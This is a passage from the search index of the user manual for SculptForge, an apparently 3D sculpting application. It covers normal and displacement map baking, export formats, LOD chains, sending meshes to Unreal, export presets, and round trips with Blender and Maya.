each point sees: darker in creases, folds and cavities Cavity _cavity.png The fine surface curvature: mid-grey where the surface is smooth, dark in cracks, light on ridges Colour _color.png The source's vertex paint, or its painted texture Curvature _curvature.png How the surface bends: mid-grey flat, brighter on convex edges and ridges, darker in creases. A bend of the curvature radius (2% of the model's size by default) is fully bright or dark. Drives edge wear Thickness _thickness.png How far rays travel through the high-poly before leaving it: dark where it is thin (ears, fins, blades). Drives translucency Position _position.png (16-bit) Each point's place in the bounding box, as red, green and blue. Drives gradients and noise without UV seams ID _id.png A flat colour per face group (or per Part, id=parts), to pick areas in other programs is the low-poly Part's name. Colour is skipped when the source has neither vertex paint nor a texture. Tool > Bake with the Part's own top subdivision level as the source and the Mesh Maps ticked"},{"p":"baking.html","c":"Baking normal and displacement maps","a":"bake-from-the-parts-own-levels","h":"Bake from the Part's own levels","t":"A Part with subdivision levels can bake its sculpted detail onto itself: choose Own top subdivision level as the Source, and the top level is baked onto the lowest level's UVs (give the lowest level UVs first). A Part with a micro level offers Own micro level, baked onto its base. No second Part, no matching: the levels share their UVs."},{"p":"baking.html","c":"Baking normal and displacement maps","a":"udim-tiles","h":"UDIM tiles","t":"When the low-poly's UVs go beyond the 0..1 square (UDIM tiles, for example from the UV Editor), every tile bakes as its own set of maps: _normal.1001.png, _normal.1002.png, ... (1001 + u + 10 v, the usual numbering). The same maps, baked on the texture's own UVs, feed Fill layers inside SculptForge."},{"p":"baking.html","c":"Baking normal and displacement maps","a":"tangent-space-normal-maps-that-look-right-everywhere","h":"Tangent-space normal maps that look right everywhere","t":"SculptForge computes tangents with MikkTSpace, the same method Blender, Unreal Engine, Unity, Godot, Substance and xNormal use. A map baked here shows correctly in all of them, as long as the low-poly is exported with its normals and UVs (every SculptForge export keeps them). Choose the green channel convention under the map settings: OpenGL (Y+): Blender, Unity, Godot, Substance, three.js. The default. DirectX (Y-): Unreal Engine's native convention. Send to Unreal flips an OpenGL map on import (see below), so you only need DirectX when you import into Unreal by hand."},{"p":"baking.html","c":"Baking normal and displacement maps","a":"displacement-mid-grey-is-zero","h":"Displacement: mid-grey is zero","t":"The 16-bit PNG stores zero displacement as mid-grey, the high-poly outside the low-poly as lighter and inside as darker. White means +scale and black -scale in world units; the scale is the largest distance found, shown under the Bake button (\"Displacement: mid-grey = 0, white = +0.0143\") and in the status line. Use it as the displacement strength in your renderer (with a midlevel of 0.5). With EXR displacement ticked, a 32-bit float OpenEXR holds the real distances in world units, with no scale to set."},{"p":"baking.html","c":"Baking normal and displacement maps","a":"settings","h":"Settings","t":"Setting What it does Source The high-poly: one Part, or every visible Part except the active one. Hidden faces of the source are ignored Size 1K, 2K (default), 4K or 8K square AA Anti-aliasing: 1 to 4 means 1, 4, 9 or 16 rays per texel, averaged. 2 (the default) gives clean edges Auto distance Measure how far the high-poly lies in front of and behind the low-poly, and cast rays just that far. After a bake, Front and Rear show what it measured Front / Rear With Auto off: how far in front of the low-poly rays start, and how far behind it they look, as a percentage of the model's size (its bounding-box diagonal). Other bakers call these the max frontal and rear distances Padding Texels around each UV island filled with the island's edge colours, so seams don't show once an engine mipmaps the map. 8 suits 2K; use 16 for 4K and 8K OpenGL / DirectX The normal map's green channel convention (see above) AO rays, AO reach Ambient occlusion quality, and how far away geometry still darkens a point (a percentage of the model's size) Output folder Where the files go. Empty: beside your last export, else the project's folder, else Bakes in your library folder. Open Folder shows it after a bake EXR displacement Also write the displacement as a 32-bit float EXR"},{"p":"baking.html","c":"Baking normal and displacement maps","a":"how-the-bake-works","h":"How the bake works","t":"For every texel of the low-poly's UVs, SculptForge finds the matching point on the low-poly and casts a ray along its smoothed normal, from Front outside the surface to Rear inside it (a \"cage\"), and keeps the high-poly hit nearest to the low-poly. The normal, distance, occlusion and colour found there go into the maps. Rays follow the smoothed normals, so hard edges of the low-poly don't leave gaps. Missing detail (\"x% of texels found no surface\" in red under the Bake button): rays didn't reach the high-poly. Turn off Auto distance and raise Front and Rear. Detail from the wrong place (for example the inside of an ear showing on its back): the rays reach too far. Lower Rear (or Front), or bake the parts from separate Parts with Source. The bake works on copies, so you can keep sculpting meanwhile. If the low-poly's triangles or UVs change afterwards, the normal map preview turns off because it no longer fits (undo brings it back). Tip: Bake time grows with the map area and the number of rays. On a 10-core Apple M1 Pro, from a 1.3-million-triangle sculpt: a 4K tangent normal map plus displacement (AA 2) takes about 4 seconds, the same at 8K about 11 seconds. Ambient occlusion costs the most: adding it at 4K with 48 rays per texel brings the bake to about 30 seconds. Try settings at 1K, then bake the final maps at 4K."},{"p":"baking.html","c":"Baking normal and displacement maps","a":"send-to-unreal-with-the-normal-map","h":"Send to Unreal with the normal map","t":"When the last bake made a normal map, its low-poly Part is shown and still fits the map, Send to Unreal (Tool > Export) imports the map too, as T__N next to the mesh, set up as a normal map (linear, normal map compression), with Unreal's Flip Green Channel set for an OpenGL map. This works with an Unreal Editor on the same computer; for one on another computer, import the PNG by hand. See Exporting, Unreal and Bridge."},{"p":"baking.html","c":"Baking normal and displacement maps","a":"commands","h":"Commands","t":"Command What it does bake Bake onto the active Part and write the maps. Options: source=all, a Part name, subdivision or micro, maps=normal,object_normal,displacement,ao,cavity,color,curvature,thickness,position,id (or all), udim=true, thickness_rays=24, thickness_distance=0.1, curvature_radius=0.02, id=polygroups or parts, size=2048 (512 to 8192, or 1k...8k), out=folder, name=prefix, front=0.02 and rear=0.02 (fractions of the model's size, or auto), samples=2, padding=8, ao_rays=48, ao_distance=0.05, green=opengl or directx, displacement_scale= (world units at white), exr=true For example, from the console or sculptforge-cli: part_select name=Body_low; bake source=Body maps=normal,ao,displacement size=4096 out=maps The command runs in the foreground (scripts wait for it); the Bake button runs the same bake in the background. See Scripting and automation."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"","h":"Exporting, Unreal and Bridge","t":"This chapter covers getting your sculpt out of SculptForge: the export formats and what each one keeps, LOD chains for games, sending a mesh straight into a running Unreal Editor, and exchanging models with another sculpting application through the Bridge. To keep everything (Parts, layers, mask, vertex paint, brushes) use a project file instead; see Projects, autosave and snapshots."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"export-formats-at-a-glance","h":"Export formats at a glance","t":"Exports write every visible Part. Hidden Parts are left out. Exporting doesn't rename the document or mark it saved, so your next Ctrl+S still saves the project. Format Where in the app Keeps Use it for glTF binary (.glb) File > Export GLB... (Ctrl+E) One node per Part, sculpt layers as morph targets, vertex paint as vertex colour, UVs and the painted texture (embedded) Games, Blender, three.js, web viewers LOD chain (.glb per level) File > Export LOD Chain... As GLB, one file per level, blend shapes on every level Game engines OpenUSD (.usda, .usdz) File > Export USD / USDZ... One Mesh prim per Part, quads, layers as UsdSkel blend shapes, vertex paint as displayColor, UVs (primvars:st) and the painted texture through a preview material (inside a USDZ), loaded splats Film pipelines, Omniverse, Apple AR Quick Look FBX for Unreal (.fbx) File > Export FBX for Unreal... Unreal naming and scale, quads, UVs, LOD group, layers as blend shapes, the painted texture as a PNG beside it Unreal Engine (by hand) Wavefront OBJ (.obj) File > Export OBJ... One o object per Part, quads, face groups as g groups, vertex paint as vertex colour, UVs, the painted texture through a .mtl (map_Kd) and a PNG beside it. Layers are baked into the current blend Any 3D app Bridge file File > Bridge > Export Bridge file... Quads, face groups, mask, vertex paint, UVs, the painted texture as a PNG beside it The Bridge STL (.stl) File > Bridge > Export STL... Geometry only (triangles), visible Parts merged, in millimetres with Z up 3D printing PLY (.ply) export_ply command Geometry, quads and vertex paint, visible Parts merged Scan tools, MeshLab, Blender FBX (general) export_fbx command One model per Part, quads, UVs, blend shapes, optional LOD groups, the painted texture Other FBX pipelines The GLB, LOD chain and FBX for Unreal exports are also in the Tool palette under Export, together with the LOD and Unreal settings. \"Quads\" means the quads the model came in with (or got from Plane, Cube, Subdivide or Voxel Remesh) are written as quads, the rest as triangles; see Quads and triangles. glTF and STL can only hold triangles. The Tool > Export sub-palette with a generated LOD chain and the Unreal Engine settings UVs are kept through OBJ, FBX, USD, glTF and Bridge files, in and out. A Part with a painted texture is exported with it: the PNG is written next to the file as _color.png (__color.png with several Parts) and referenced by the model, or embedded in GLB and USDZ files. Spaces in the file name become _ in the names of the files written beside it (my scene.obj gets my_scene.mtl and my_scene_color.png), because OBJ and MTL separate file names with spaces. Tool > Texture Map > Auto UV gives any sculpt UVs before export. Normal, displacement and other maps come from Tool > Bake as separate image files. Textured exports are checked against other tools, not only read back by SculptForge: GLB files pass the Khronos glTF validator with no errors or warnings; USD and USDZ files pass OpenUSD's validators (the USDZ files are uncompressed, 64-byte aligned and have the root layer first); FBX files load in ufbx's strict mode with their textures connected; and in all four formats plus OBJ, the texture is sampled the right way up (each format's UV convention), checked colour by colour against SculptForge's own sampling. The scripts are in tools/export_check/ in the source tree."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"scale-and-axes","h":"Scale and axes","t":"glTF, USD and OBJ are written Y-up with 1 unit = 1 metre, the same space you sculpt in. FBX uses centimetres: export_fbx multiplies positions by 100 by default (scale=), so 1 unit = 1 m. STL is written in millimetres with Z up, as slicers expect: a 0.3 m sculpt prints 300 mm tall, standing upright. export_stl height_mm=80 scales it to a print height instead (see 3D printing). Opening an STL converts back, so a downloaded print model comes in upright and at its real size. STL files from SculptForge 0.5 and earlier (metres, Y up) are recognised and open as they were saved. PLY keeps positions as they are (no unit conversion). For Unreal, Height sets the real-world size directly (see below)."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"export-a-model","h":"Export a model","t":"Show the Parts you want to export and hide the others (the eye icon in Tool > Parts). Choose the export in the File palette and pick a file name. The status line confirms the export (\"Exported ...\"). A Part with subdivision levels is exported at the level you are on. To write the base cage (or any other level) without stepping to it, use subdiv_export path=base.obj level=1. From a script, each format is one command: sculptforge-cli -c 'open path=bust.sfproj; export_glb path=bust.glb' sculptforge-cli -c 'open path=bust.sfproj; export_usd path=bust.usdz' sculptforge-cli -c 'open path=bust.sfproj; save_obj path=bust.obj' sculptforge-cli -c 'open path=bust.sfproj; export_fbx path=bust.fbx lods=3 ratio=0.5' sculptforge-cli -c 'open path=bust.sfproj; export_stl path=bust.stl; export_ply path=bust.ply'"},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"3d-printing","h":"3D printing","t":"File > Bridge > Export STL... writes every visible Part as one binary STL, ready for a slicer (PrusaSlicer, Cura, Bambu Studio, OrcaSlicer ...). The status line gives the printed size, for example \"Exported lion.stl (47214 triangles, 320.8 x 206.6 x 436.4 mm)\": width, depth and height as the slicer shows them. Size: 1 unit in SculptForge is 1 m, so 1 unit becomes 1000 mm. To print at a given height, use export_stl path=lion.stl height_mm=80, or scale the model in the slicer. One solid: overlapping Parts go into the file as they are, which some slicers and print services reject. Merge visible them (Parts) and Remesh to turn them into one closed surface first. Detail: printers resolve about 0.05-0.1 mm, so millions of triangles rarely help. Decimate makes the file smaller without visible loss. sculptforge-cli -c 'open path=bust.sfproj; export_stl path=bust.stl height_mm=120' sculptforge-cli -c 'open path=bust.sfproj; export_stl path=bust.stl scale=1 z_up=false' # sculpt space as it is"},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"lod-chains-for-games","h":"LOD chains for games","t":"A LOD (level of detail) chain is the same model at decreasing triangle counts, so an engine can draw distant objects cheaply. SculptForge builds it with quadric decimation, keeping blend shapes on every level. Open Tool > Export. Set LODs (2 to 6 levels, including LOD0) and Reduction (0.1 to 0.9: the triangle ratio from one level to the next, default 0.5). Click Generate LOD chain. A table lists each level with its triangle count and its share of LOD0. Click a level (LOD0, LOD1 ...) to inspect it in the viewport; the wireframe turns on. Click Sculpt to go back to the editable mesh. Export with LOD chain (GLB per level), or send it to Unreal (below). Changing the sliders clears the preview; click Generate LOD chain to build it again. The LOD chain export writes _LOD0.glb, _LOD1.glb and so on next to the path you choose. With several visible Parts, each Part is decimated on its own. sculptforge-cli -c 'open path=rock.obj; export_lods path=out/rock.glb levels=4 ratio=0.5' To reduce the sculpt itself instead of exporting copies, use Tool > Geometry > Decimate; see Subdivide, Remesh, Decimate and LODs."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"send-to-unreal","h":"Send to Unreal","t":"Send to Unreal exports an Unreal-ready FBX and imports it into a running Unreal Editor (5.x) on this computer or another one on your network. Nothing is installed into your project: it uses Unreal's built-in Python remote execution. Your sculpt What arrives in Unreal No sculpt layers A static mesh SM_ with the LOD chain from Tool > Export Sculpt layers A skeletal mesh SK_ with one morph target per layer (Unreal adds a single root bone) Several visible Parts One FBX model per Part, combined into one asset on import Any A material slot M_Clay, and the real-world size from Height A baked normal map (Tool > Bake) The texture T__N, set up as a normal map (Unreal on this computer only) A texture with material channels T__BC, T__N (DirectX) and T__ORM (occlusion, roughness, metallic), plus T__E when emissive is painted, and a material M_ built from them and assigned to the mesh (Unreal on this computer only; see Export presets) Sending the same asset again updates it in place (same name and folder), so references in your levels stay intact."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"one-time-setup-in-unreal","h":"One-time setup in Unreal","t":"Edit > Plugins: enable Python Editor Script Plugin, then restart the editor. Edit > Project Settings > Plugins > Python: tick Enable Remote Execution?. That's all when Unreal runs on the same computer."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"send","h":"Send","t":"Open Tool > Export and find the Unreal Engine section. Set Folder (the content folder, default /Game/SculptForge) and Height (the model's height in Unreal, in centimetres; it starts at the model's current height with 1 unit = 1 m). For a static mesh, set LODs and Reduction above (default 4 levels). Click Send to Unreal, or press Ctrl+U. The status line reports the result. The line under the buttons tells you what will be sent: \"Static mesh with 4 LODs\" or \"Skeletal mesh with 2 morph targets\"."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"unreal-on-another-computer","h":"Unreal on another computer","t":"On the Unreal machine, in Project Settings > Plugins > Python, open Advanced and set Multicast Time-To-Live to 1 and Multicast Bind Address to 0.0.0.0. In SculptForge, tick Unreal is on another computer. Both computers must be on the same network, and the SculptForge computer's firewall must allow incoming connections from the Unreal machine: the editor connects back to SculptForge to fetch the file."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"import-by-hand","h":"Import by hand","t":"Export FBX for Unreal... (in the File palette and in Tool > Export) writes the same file. The file name becomes the asset name. Drag it into the Content Browser: static meshes pick up their LODs from the file's LOD group; for skeletal meshes choose Skeletal Mesh and tick Import Morph Targets."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"from-scripts","h":"From scripts","t":"sculptforge-cli -c 'open path=statue.obj; unreal_send destination=/Game/Props height_cm=200 lods=4' sculptforge-cli -c 'unreal_editors network=true' # list editors on the network sculptforge-cli -c 'open path=statue.obj; export_unreal folder=out height_cm=200' unreal_send also takes name=, project= (pick one editor when several are open) and network=true. Note: Layered sculpts are sent as skeletal meshes without the LOD chain, because Unreal's morph targets need a skeletal mesh (Unreal can generate skeletal LODs itself). The Unreal link has been tested against a stand-in editor that speaks the same protocol but not yet against every Unreal version. If an import fails, Unreal's Output Log shows the importer's messages."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"exchange-models-through-the-bridge","h":"Exchange models through the Bridge","t":"The Bridge exchanges Parts with another sculpting application through a shared bridge folder, the way that application's own exchange plug-in does, on Windows and macOS. The commands are in File > Bridge: Item What it does Send Writes every visible Part to the bridge folder and tells the other application (starting it if needed). Each Part arrives as its own object. Turns on Receive automatically Receive Loads what the other application last sent. Each object updates the Part it was sent from (one undo step), or becomes a new Part Receive automatically Checks once a second for a new send and receives it Custom bridge folder (optional) Use another bridge folder, for example inside a Wine prefix Import Bridge file... Opens a Bridge file, replacing the scene Export Bridge file... Writes a Bridge file. With several visible Parts, one file per Part next to the path Export STL... Writes a binary STL of the visible Parts The default bridge folder and the one-time setup are on the Bridge setup page. On Linux the Bridge needs a custom folder; Bridge files still import and export."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"a-round-trip","h":"A round trip","t":"In SculptForge, choose File > Bridge > Send. The other application starts or comes forward with the Parts. If it was not running and does not import them, use its own import from the bridge. Work there, then send the model back with its exchange plug-in. SculptForge receives it automatically and updates the matching Parts. Each update is an undo step on that Part. The Bridge keeps face groups, mask, vertex paint and UVs. Quads stay quads both ways: Wire shows them as quads. The format has no hidden-face flag, so hidden faces are sent like any others. Note: the Bridge is tested with files, not yet against every version of a live application. If a send does not arrive, export a Bridge file and import it by hand, and please report it (Help > Report a problem). From scripts: goz_export path=, goz_import path=, goz_send, goz_receive and export_stl path= (see 3D printing for its options)."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"blender","h":"Blender","t":"To sculpt Blender objects in SculptForge and send them back into the same objects, use the SculptForge Bridge add-on and File > Blender: see Working with Blender. For a one-off exchange, OBJ, FBX and glTF all carry Parts, UVs and quads both ways."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"maya","h":"Maya","t":"To sculpt Maya meshes in SculptForge and send them back into the same objects, use the SculptForge shelf for Maya and File > Maya: see Working with Maya."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"see-also","h":"See also","t":"Working with Blender: the Blender add-on Working with Maya: the Maya shelf script Projects, autosave and snapshots: save everything, not just the mesh Parts: which Parts are exported Layers and blend shapes: what becomes morph targets Subdivide, Remesh, Decimate and LODs: decimate before exporting Gaussian splats: saving splats For studios: formats in a pipeline"},{"p":"export-presets.html","c":"Export presets","a":"","h":"Export presets","t":"Export Maps writes a texture's channels (Material painting) as the image files a game engine or DCC expects: which files, what they are called and how channels are packed into them come from an export preset. SculptForge has presets for the common targets, and you can write your own as a small JSON file."},{"p":"export-presets.html","c":"Export presets","a":"export-maps","h":"Export maps","t":"Open Tool > Texture Map. Under Material Channels, choose a preset in the list next to Export Maps... (hover a preset for what it writes). Click Export Maps... and pick a folder. The files are named after the Part. From a script or the console: export_maps preset=unreal folder=/path/to/maps name=Rock. export_maps list=true lists the presets and their maps. Channels you haven't turned on export their default value (roughness 0.65, metallic 0, flat normal, AO 1), so a preset always writes a complete set. Maps marked optional below are written only when one of their channels is on."},{"p":"export-presets.html","c":"Export presets","a":"built-in-presets","h":"Built-in presets","t":"Preset Files (for a Part called Rock) Normal unreal T_Rock_BC (base colour; opacity in alpha when painted), T_Rock_N, T_Rock_ORM (R occlusion, G roughness, B metallic); optional T_Rock_E (emissive), T_Rock_H (16-bit height) DirectX unity_urp Rock_BaseMap, Rock_Normal, Rock_MetallicSmoothness (R metallic, A smoothness = 1 - roughness); optional Rock_Occlusion, Rock_Emission, Rock_Height OpenGL unity_hdrp Rock_BaseMap, Rock_Normal, Rock_MaskMap (R metallic, G occlusion, B detail mask = white, A smoothness); optional Rock_Emission, Rock_Height OpenGL gltf Rock_baseColor, Rock_normal, Rock_occlusionRoughnessMetallic (R, G, B as glTF expects); optional Rock_emissive OpenGL godot Rock_albedo, Rock_normal, Rock_orm; optional Rock_emission, Rock_height OpenGL blender One file per channel: Rock_BaseColor, Rock_Roughness, Rock_Metallic, Rock_Normal; optional Rock_Height (16-bit), Rock_AO, Rock_Emission, Rock_Alpha OpenGL usd One file per UsdPreviewSurface input: Rock_diffuseColor, Rock_roughness, Rock_metallic, Rock_normal; optional Rock_occlusion, Rock_emissiveColor, Rock_opacity, Rock_displacement OpenGL All files are PNG at the texture's size: 8-bit, except height maps, which are 16-bit greyscale. The normal map is the effective normal: the Normal channel with the height's normal combined in. DirectX presets flip green. Send to Unreal (Exporting) uses the unreal preset and then builds a material M_ in Unreal from the maps: BC to Base Color, ORM's R / G / B to Ambient Occlusion, Roughness and Metallic, N to Normal, E to Emissive. It is an ordinary Unreal material you can edit."},{"p":"export-presets.html","c":"Export presets","a":"material-slots-in-model-files","h":"Material slots in model files","t":"You don't need Export Maps to get the material into a model file: when the texture has material channels, exporting a model writes the maps beside it (or inside it) and wires them into its material. Format What the material gets glTF / GLB Base colour (alpha from opacity, alphaMode BLEND), metallicRoughnessTexture and occlusionTexture from one packed map, normalTexture, emissiveTexture USD / USDZ A UsdPreviewSurface whose roughness, metallic, normal, occlusion, emissiveColor and opacity inputs each read their own map (raw colour space; the normal with scale 2, bias -1) OBJ The MTL's PBR keys: map_Pr (roughness), map_Pm (metallic), norm / map_Bump (normal), map_Ke (emission), map_d (opacity) FBX Textures on the material's NormalMap, ShininessExponent (roughness), ReflectionFactor (metallic), EmissiveColor and TransparencyFactor, as Blender reads them A texture without material channels exports exactly as before: just the colour."},{"p":"export-presets.html","c":"Export presets","a":"your-own-presets","h":"Your own presets","t":"A preset is a JSON file. Point export_maps preset= at it: { \"label\": \"Studio packed\", \"file\": \"{name}_{map}\", \"normal\": \"directx\", \"maps\": [ {\"map\": \"albedo\", \"channels\": [\"base_color.r\", \"base_color.g\", \"base_color.b\", \"opacity?\"]}, {\"map\": \"rma\", \"channels\": [\"roughness\", \"metallic\", \"ao\"]}, {\"map\": \"nrm\", \"channels\": [\"normal.r\", \"normal.g\", \"normal.b\"]}, {\"map\": \"disp\", \"channels\": [\"height\"], \"bits\": 16, \"optional\": true} ] } file: the file name pattern; {name} is the object name, {map} the map's name (required). .png is added. normal: opengl (green up, the default) or directx (green down). maps: 1 to 32 maps. Each has a map name (letters, digits, - and _) and 1 (grey), 3 (RGB) or 4 (RGBA) channels. A channel source is a channel name (roughness, metallic, ao, height, opacity), a component (base_color.r, normal.g, emissive.b), smoothness (1 - roughness), a constant (0, 1, 0.5) or 1- in front of any of them to invert it. A ? after a source drops that component when its channel isn't on (an RGBA map becomes RGB). optional: write the map only when one of its channels is on. bits: 8 (default) or 16. A preset with a mistake is refused with a message saying what is wrong."},{"p":"blender.html","c":"Working with Blender","a":"","h":"Working with Blender","t":"Keep Blender for the scene, rigging, shading and animation, and sculpt in SculptForge: the SculptForge Bridge add-on sends the selected objects from Blender to SculptForge with one click, and one click in SculptForge sends them back. The objects update in place in Blender: their transform, materials and modifiers stay as they were. It works through files in a shared folder, on Linux, Windows and macOS, with Blender 4.2 or newer."},{"p":"blender.html","c":"Working with Blender","a":"install-the-add-on","h":"Install the add-on","t":"Download sculptforge_bridge.zip from the latest release (or the SculptForge website). In Blender choose Edit > Preferences > Get Extensions, open the menu at the top right and choose Install from Disk..., then pick the zip. (You can also drag the zip into Blender's window.) The SculptForge tab appears in the 3D View's sidebar (press N). Send and Receive are also in the Object menu and in File > Import / Export. Start SculptForge once after installing it: it records where it is installed, so the add-on can start it for you. If the add-on still can't find it (for example an AppImage you keep somewhere unusual), set its path in the add-on's preferences (Edit > Preferences > Add-ons > SculptForge Bridge). Tip: Older Blender versions or a classic add-on install: sculptforge_bridge--legacy.zip installs through Edit > Preferences > Add-ons > Install from Disk. The add-on needs Blender 4.2 or newer either way."},{"p":"blender.html","c":"Working with Blender","a":"a-round-trip","h":"A round trip","t":"In Blender, select one or more mesh objects and click Send to SculptForge in the SculptForge tab. SculptForge starts, or, if it's already open, loads them within a second. Each object becomes a Part with the object's name, placed as it is in the Blender scene. Sculpt, paint, mask, divide, remesh: anything SculptForge does. In SculptForge choose File > Blender > Send to Blender. Every visible Part goes back. Blender picks it up by itself within a second (or click Receive from SculptForge). Each object that came from Blender is updated; a Part you added in SculptForge becomes a new object. Sending again from Blender updates the same Parts: each update is one undo step on that Part in SculptForge, and each receive in Blender is one undo step there. File > Blender in SculptForge"},{"p":"blender.html","c":"Working with Blender","a":"what-comes-across","h":"What comes across","t":" Blender SculptForge Shape The object's mesh, in its own space The Part, placed in the scene with the object's transform Faces Triangles and quads; n-gons as triangle fans Triangles and quads (Wire shows the quads) UVs The active UV map UVs Colour The active colour attribute (point or face corner) Vertex Paint Mask The sculpt mask Mask Face sets Sculpt mode face sets Face Groups Name Object name Part name Blender is Z-up and SculptForge Y-up, both in metres; the add-on and SculptForge convert between them, so the model stands the same way in both and a round trip changes nothing. Objects with a negative scale (mirrored) come across the right way out. When the topology doesn't change (you only sculpted, painted or masked), Blender's mesh keeps everything it had: its n-gons, edges, seams, creases, custom attributes and the other UV maps; only the positions, the active UV map, colour, mask and face sets are updated. When the topology changes (Divide, a remesh, Quad Remesh, Subdivide...), the object's mesh is rebuilt from what SculptForge sent. The object keeps its transform, materials, modifiers and the names of its active UV map and colour attribute; things tied to the old faces (material per face, seams, other UV maps, shape keys) can't follow and are reset."},{"p":"blender.html","c":"Working with Blender","a":"modifiers","h":"Modifiers","t":"The Modifiers setting in the SculptForge tab chooses what an object with modifiers sends: Keep live (the default): the mesh under the modifiers. They keep working in Blender on the sculpted mesh, for example a Mirror or a Subdivision Surface. Apply: what you see, with the modifiers applied. When it comes back, the mesh holds their result, so the add-on turns those modifiers off (they stay on the object, switched off, if you want them again)."},{"p":"blender.html","c":"Working with Blender","a":"settings","h":"Settings","t":"In the SculptForge tab: Receive automatically: after a send, load what SculptForge sends back as soon as it arrives (on by default). Off: click Receive from SculptForge yourself. In SculptForge's File > Blender: Receive automatically: load what Blender sends as soon as it arrives (on by default). The add-on's preferences add the path of SculptForge and the exchange folder (below)."},{"p":"blender.html","c":"Working with Blender","a":"classic-sculpting-keys-in-sculpt-mode","h":"Classic sculpting keys in Sculpt Mode","t":"Sculpting in Blender too? Turn on The Classic sculpting keys in Sculpt Mode in the add-on's preferences (Edit > Preferences > Add-ons > SculptForge Bridge) and Blender's Sculpt Mode answers to the Classic sculpting keys where Blender has the same thing. Turning it off removes them again, and Blender's own keys are back; so does disabling the add-on. The preferences list every key while it's on. Classic key In Blender's Sculpt Mode S / U / O Draw Size / Intensity (Strength) / Falloff (Hardness), dragged at the cursor Space Blender's Sculpt quick menu at the cursor (brush, size, strength) B The brush list by name (Standard, Sharp Crease, Clay, Clay Block, Move, Tendril...): type a few letters, Enter picks Alt+drag Sub: the brush digs in Ctrl+drag / Ctrl+Alt+drag Mask / unmask, drawn as a lasso Ctrl+Shift+drag / Ctrl+Shift+Alt+drag Show only what's inside / hide what's inside Ctrl+W Group the masked part as a face set and clear the mask (with nothing masked: the visible part) Ctrl+D / D / Shift+D Divide (a Multires level) / SDiv up / SDiv down (never adds a level) X Symmetry X Shift+F Wireframe (the wireframe overlay) F / P Frame the model / perspective on and off L Steady Stroke (Blender: Stabilize Stroke) W / E / R Move / Scale / Rotate Shift+drag Smooth (Blender already does this) brushes map to Blender's closest: Standard = Draw, Sharp Crease = Draw Sharp, Clay Block = Clay Strips, Move = Grab, Move Elastic = Elastic Grab, Plane Trim = Trim (Scrape in Blender 4.2), Crease = Crease Sharp, MaskPen = Mask. What Blender has no key for, or can't do: I (RGB Intensity): Blender's sculpt brushes don't paint. Ctrl+drag on the model doesn't paint the mask with a round brush: Blender can't switch to the Mask brush for one stroke, so it draws a mask lasso (pick the Mask brush with B to paint it). Dragging on the empty background doesn't rotate: a keymap can't tell the model from the background. Use the middle mouse button, or Blender's Emulate 3 Button Mouse. Ctrl+click on the background (invert or clear the mask) and Ctrl+Shift+click (show all): use Ctrl+I, Alt+M and Alt+H. B then two letters: a Blender menu takes one key at a time, so B opens the list and the letters filter it. Alt+click a Part: Blender's objects aren't Parts (Alt+Q switches the object you sculpt). Stroke types (Drag Stamp, Spray...): each Blender brush sets its stroke method in its Stroke panel. These keys take Blender's place while they're on: F no longer sets the radius (that's S), B no longer draws a box mask, Ctrl+drag no longer inverts the brush (that's Alt), and Space no longer plays the animation in Sculpt Mode."},{"p":"blender.html","c":"Working with Blender","a":"vector-displacement-maps","h":"Vector displacement maps","t":"SculptForge's VDM brushes and Blender's use the same maps (see Vector displacement brushes): From Blender: a map baked with Blender's VDM Brush Baker loads with Sculpt > Brush > Vector Displacement > Load VDM... as it is. To Blender: Export EXR... writes the VDM brush's map. In Blender, in Sculpt Mode with a Draw brush: in the brush's Texture panel add a new image texture and open the EXR (set its Color Space to Non-Color), set Mapping to Area Plane, turn on Vector Displacement, then set the stroke method to Anchored and Strength to 1. Drag on the model to stamp it."},{"p":"blender.html","c":"Working with Blender","a":"how-it-works","h":"How it works","t":"The two programs share a folder in your user data: ~/.local/share/SculptForge/SculptForge/blender on Linux, %APPDATA%\\SculptForge\\SculptForge\\blender on Windows, ~/Library/Application Support/SculptForge/SculptForge/blender on macOS. Each side writes its meshes there as .GoZ files with a small list of the objects, and checks the other side's list once a second. Nothing goes over the network. To use another folder, set it in the add-on's preferences and start SculptForge with the environment variable SCULPTFORGE_BLENDER_EXCHANGE set to the same folder. From scripts and the MCP server: blender_send and blender_receive (both take folder=). Starting SculptForge with --blender loads what Blender last sent."},{"p":"blender.html","c":"Working with Blender","a":"limits-and-troubleshooting","h":"Limits and troubleshooting","t":"Blender as a Flatpak or Snap sees a different user data folder and may not be allowed to start other programs. Set the add-on's exchange folder to a folder both can reach, start SculptForge yourself with SCULPTFORGE_BLENDER_EXCHANGE set to it, and send. Linked duplicates (objects sharing one mesh) all show the last one received. Shape keys: the Basis and the keys named like SculptForge's layers are updated; other keys keep their shapes. Subdivision levels don't go to Blender: it receives the level you're on (like Bridge files). Sculpt layers arrive as shape keys (Basis plus one key per layer, with its name and weight), so the 52 facial shapes keep their ARKit names. Shape keys don't come back from Blender, and textures stay in SculptForge. Nothing arrives in SculptForge? Check File > Blender > Receive automatically, or choose Receive from Blender. Nothing arrives in Blender? Click Receive from SculptForge; automatic receiving starts after the first send from that Blender session. Objects in Edit Mode or Sculpt Mode are updated too: the add-on switches to Object Mode for the update and back."},{"p":"blender.html","c":"Working with Blender","a":"see-also","h":"See also","t":"Exporting, Unreal and Bridge: files, game engines and Bridge Parts: each Blender object is a Part Face Groups and visibility: Blender's face sets"},{"p":"maya.html","c":"Working with Maya","a":"","h":"Working with Maya","t":"Keep Maya for the scene, rigging and animation, and sculpt in SculptForge: the SculptForge shelf for Maya sends the selected meshes to SculptForge, and File > Maya > Send to Maya sends them back, replacing each Maya object's mesh by name. It works through files in a shared folder, on Linux, Windows and macOS. The two apps exchange 